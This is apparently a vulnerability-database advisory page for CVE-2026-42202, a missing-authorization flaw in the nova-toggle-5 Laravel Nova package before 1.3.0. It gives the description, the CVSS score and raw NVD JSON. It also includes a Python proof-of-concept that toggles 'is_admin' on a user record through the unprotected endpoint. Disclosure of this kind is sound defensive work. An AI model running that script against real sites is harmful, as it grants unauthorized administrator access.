Security Vulnerability Report
中文
CVE-2026-42202 CVSS 6.5 MEDIUM

CVE-2026-42202

Published: 2026-05-08 22:16:32
Last Modified: 2026-05-08 22:16:32

Description

nova-toggle-5 enables fliping booleans in the index. Prior to version 1.3.0, the toggle endpoint (POST/nova-vendor/nova-toggle/toggle/{resource}/{resourceId}) was protected only by web + auth:<guard> middleware. Any user authenticated on the configured guard could call the endpoint and flip boolean attributes on any Nova resource — including users who do not have access to Nova itself (for example, frontend customers sharing the web guard with the Nova admin area). The endpoint also accepted an arbitrary attribute parameter, which meant a valid caller could toggle any boolean column on the underlying model — not just columns exposed as Toggle fields on the resource. This issue has been patched in version 1.3.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

nova-toggle-5 < 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target endpoint url = "http://example.com/nova-vendor/nova-toggle/toggle/User/1" # Valid session cookie for the configured guard (e.g., a standard user) cookies = { "laravel_session": "your_valid_session_cookie_here" } # The arbitrary boolean attribute to toggle on the model payload = { "attribute": "is_admin" } response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful: Attribute toggled.") else: print(f"[-] Exploit failed: Status {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42202", "sourceIdentifier": "[email protected]", "published": "2026-05-08T22:16:31.683", "lastModified": "2026-05-08T22:16:31.683", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "nova-toggle-5 enables fliping booleans in the index. Prior to version 1.3.0, the toggle endpoint (POST/nova-vendor/nova-toggle/toggle/{resource}/{resourceId}) was protected only by web + auth:<guard> middleware. Any user authenticated on the configured guard could call the endpoint and flip boolean attributes on any Nova resource — including users who do not have access to Nova itself (for example, frontend customers sharing the web guard with the Nova admin area). The endpoint also accepted an arbitrary attribute parameter, which meant a valid caller could toggle any boolean column on the underlying model — not just columns exposed as Toggle fields on the resource. This issue has been patched in version 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/almirhodzic/nova-toggle-5/releases/tag/v1.3.0", "source": "[email protected]"}, {"url": "https://github.com/almirhodzic/nova-toggle-5/security/advisories/GHSA-f5c8-m5vw-rmgq", "source": "[email protected]"}]}}